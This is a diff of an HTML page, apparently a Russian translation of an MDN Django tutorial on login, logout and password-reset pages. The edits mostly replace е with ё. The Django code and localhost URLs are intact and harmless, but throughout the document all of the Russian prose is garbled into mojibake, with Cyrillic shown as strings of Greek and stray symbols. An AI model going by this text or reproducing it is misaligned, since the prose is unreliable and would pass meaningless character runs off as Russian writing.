ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ эту страницу, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ ΠΎΡˆΠΈΠ±ΠΊΡƒ!</span><br>
+<p><span id="result_box" lang="ru"><span>Если ваша ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π²ΠΎΠΉΡ‚ΠΈ Π² систСму Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ,Β  Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Π±ΡƒΠ΄Π΅Ρ‚ <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>).</span> <span>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ послС Π²Ρ…ΠΎΠ΄Π° Π² систСму Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° страницу профиля, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ.</span> <span>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ эту страницу, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ ΠΎΡˆΠΈΠ±ΠΊΡƒ!</span><br>
<br>
<span>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ настройки ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (<strong>/locallibrary/locallibrary/settings.py</strong>) ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ тСкст Π½ΠΈΠΆΠ΅.</span> <span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π² систСму, Π²Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Π½Π° домашнюю страницу сайта.</span></span></p>
@@ -264,7 +264,7 @@ LOGIN_REDIRECT_URL = '/'
<h3 id="Π¨Π°Π±Π»ΠΎΠ½_Π²Ρ‹Ρ…ΠΎΠ΄Π°">Π¨Π°Π±Π»ΠΎΠ½ Π²Ρ‹Ρ…ΠΎΠ΄Π°</h3>
-<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΠΎ URL-адрСсу Π²Ρ‹Ρ…ΠΎΠ΄Π° (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>), Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ странноС повСдСниС - </span></span>ваш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ навСрняка Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ ΠΈΠ· систСмы<span lang="ru"><span>, </span></span>Π½ΠΎ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚Π΅ Π½Π° страницу Π²Ρ‹Ρ…ΠΎΠ΄Π° администратора<span lang="ru"><span>.</span> </span>Π­Ρ‚ΠΎ Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, хотя Π±Ρ‹ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ссылка для Π²Ρ…ΠΎΠ΄Π° Π½Π° этой страницС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ вас ΠΊ экрану Π²Ρ…ΠΎΠ΄Π° Π² систСму администратора.<span lang="ru"><span> (ΠΈ это доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ <code>is_staff</code>).</span><br>
+<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΠΎ URL-адрСсу Π²Ρ‹Ρ…ΠΎΠ΄Π° (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>), Ρ‚ΠΎ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ странноС повСдСниС - </span></span>ваш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ навСрняка Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ ΠΈΠ· систСмы<span lang="ru"><span>, </span></span>Π½ΠΎ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚Π΅ Π½Π° страницу Π²Ρ‹Ρ…ΠΎΠ΄Π° администратора<span lang="ru"><span>.</span> </span>Π­Ρ‚ΠΎ Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, хотя Π±Ρ‹ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ссылка для Π²Ρ…ΠΎΠ΄Π° Π½Π° этой страницС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ вас ΠΊ экрану Π²Ρ…ΠΎΠ΄Π° Π² систСму администратора.<span lang="ru"><span> (ΠΈ это доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ <code>is_staff</code>).</span><br>
<br>
<span>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/locallibrary/templates/registration/logged_out.html</strong>.</span> <span>БкопируйтС тСкст Π½ΠΈΠΆΠ΅:</span></span></p>
@@ -276,7 +276,7 @@ LOGIN_REDIRECT_URL = '/'
&lt;a href="{% url 'login'%}"&gt;Click here to login again.&lt;/a&gt;
{% endblock %}</pre>
-<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ шаблон ΠΎΡ‡Π΅Π½ΡŒ прост.</span> <span>Он просто ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сообщСниС, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ вас ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²Ρ‹ΡˆΠ»ΠΈ ΠΈΠ· систСмы, ΠΈ прСдоставляСт ссылку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π½Π° экран Π²Ρ…ΠΎΠ΄Π° Π² систСму.</span> <span>Если Π²Ρ‹ снова ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° страницу Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ эту страницу:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ шаблон ΠΎΡ‡Π΅Π½ΡŒ прост.</span> <span>Он просто ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ сообщСниС, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ вас ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²Ρ‹ΡˆΠ»ΠΈ ΠΈΠ· систСмы, ΠΈ прСдоставляСт ссылку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π½Π° экран Π²Ρ…ΠΎΠ΄Π° Π² систСму.</span> <span>Если Π²Ρ‹ снова ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π° страницу Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ эту страницу:</span></span></p>
<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p>
@@ -357,7 +357,7 @@ LOGIN_REDIRECT_URL = '/'
{% endblock %}
</pre>
-<h4 id="Бброс_пароля_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½">Бброс пароля Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½</h4>
+<h4 id="Бброс_пароля_Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½">Бброс пароля Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½</h4>
<p>Π­Ρ‚ΠΎ послСдний шаблон сброса пароля, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ отобраТаСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ вас ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ сброса пароля. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ /locallibrary/templates/registration/password_reset_complete.html ΠΈ Π΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ содСрТаниС:</p>
@@ -371,7 +371,7 @@ LOGIN_REDIRECT_URL = '/'
<h3 id="ВСстированиС_Π½ΠΎΠ²Ρ‹Ρ…_страниц_Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">ВСстированиС Π½ΠΎΠ²Ρ‹Ρ… страниц Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ URL ΠΈ создали всС эти ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ страницы Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ страницы Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΏΠΎΠΏΡ‹Ρ‚Π°Π²ΡˆΠΈΡΡŒ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΉΠ΄ΠΈΡ‚Π΅ ΠΈΠ· ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти URL-адрСса:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ URL ΠΈ создали всС эти ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ страницы Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ! Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ страницы Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΏΠΎΠΏΡ‹Ρ‚Π°Π²ΡˆΠΈΡΡŒ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΉΠ΄ΠΈΡ‚Π΅ ΠΈΠ· ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти URL-адрСса:</p>
<ul>
<li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li>
@@ -381,7 +381,7 @@ LOGIN_REDIRECT_URL = '/'
<p>Π’Ρ‹ смоТСтС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ сброса пароля ΠΏΠΎ ссылкС Π½Π° страницС Π²Ρ…ΠΎΠ΄Π°. <strong>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Django отправляСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сбросныС элСктронныС письма Π½Π° адрСса (ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ хранятся Π² Π΅Π³ΠΎ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…!</strong></p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: БистСма сброса пароля Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш сайт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, поэтому эта Ρ‡Π°ΡΡ‚ΡŒ <strong>Π΅Ρ‰Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</strong> Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ тСстированиС, помСститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π° settings.py.Β Π­Ρ‚ΠΎ рСгистрируСт Π»ΡŽΠ±Ρ‹Π΅ письма, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° консоль (Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ссылку Π½Π° сброс пароля с консоли).</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: БистСма сброса пароля Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш сайт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, поэтому эта Ρ‡Π°ΡΡ‚ΡŒ <strong>Π΅Ρ‰Ρ‘ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.</strong> Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ тСстированиС, помСститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π° settings.py.Β Π­Ρ‚ΠΎ рСгистрируСт Π»ΡŽΠ±Ρ‹Π΅ письма, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° консоль (Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ссылку Π½Π° сброс пароля с консоли).</p>
<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
</pre>
@@ -415,7 +415,7 @@ LOGIN_REDIRECT_URL = '/'
<p>Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ‚Π΅Π³ΠΈ шаблона if-else-endif для условного отобраТСния тСкста Π½Π° основС Ρ‚ΠΎΠ³ΠΎ, являСтся Π»ΠΈ \{{user.is_authenticated}} истинным. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, поэтому ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ \{{user.get_username}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈΡ… имя.</p>
-<p>ΠœΡ‹ создаСм URL-адрСс для Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Π³ шаблона URL-адрСса ΠΈ ΠΈΠΌΠ΅Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ URLs.Β Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈΒ <code>?next=\{{request.path}}</code> Π² ΠΊΠΎΠ½Π΅Ρ† URLs. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ URL-адрСс содСрТит адрСс (URL) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы, Π² ΠΊΠΎΠ½Ρ†Π΅ связанного URL-адрСса. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ» Π²Ρ…ΠΎΠ΄ Π² систСму, прСдставлСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>next</code>" Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° страницу, Π³Π΄Π΅ ΠΎΠ½ΠΈ сначала Π½Π°ΠΆΠ°Π»ΠΈ ссылку Π²Ρ…ΠΎΠ΄Π° / Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы.</p>
+<p>ΠœΡ‹ создаём URL-адрСс для Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Π³ шаблона URL-адрСса ΠΈ ΠΈΠΌΠ΅Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ URLs.Β Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈΒ <code>?next=\{{request.path}}</code> Π² ΠΊΠΎΠ½Π΅Ρ† URLs. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ URL-адрСс содСрТит адрСс (URL) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы, Π² ΠΊΠΎΠ½Ρ†Π΅ связанного URL-адрСса. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ» Π²Ρ…ΠΎΠ΄ Π² систСму, прСдставлСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>next</code>" Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° страницу, Π³Π΄Π΅ ΠΎΠ½ΠΈ сначала Π½Π°ΠΆΠ°Π»ΠΈ ссылку Π²Ρ…ΠΎΠ΄Π° / Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ· систСмы.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅! Если Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ страницС ΠΈ Π²Ρ‹ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Π΅ Β«Π’Ρ…ΠΎΠ΄ / Π’Ρ‹Ρ…ΠΎΠ΄Β» Π½Π° Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, Ρ‚ΠΎ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π½Π° Ρ‚Ρƒ ΠΆΠ΅ страницу.</p>
@@ -423,7 +423,7 @@ LOGIN_REDIRECT_URL = '/'
<h3 id="ВСстированиС_Π²_прСдставлСниях">ВСстированиС Π² прСдставлСниях</h3>
-<p>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ прСдставлСния, самым простым способом ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ вашим функциям являСтся ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ <code>login_required</code> Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΎΡ€ ΠΊ вашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ просмотра, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ вошСл Π² систСму, ваш ΠΊΠΎΠ΄ просмотра Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ 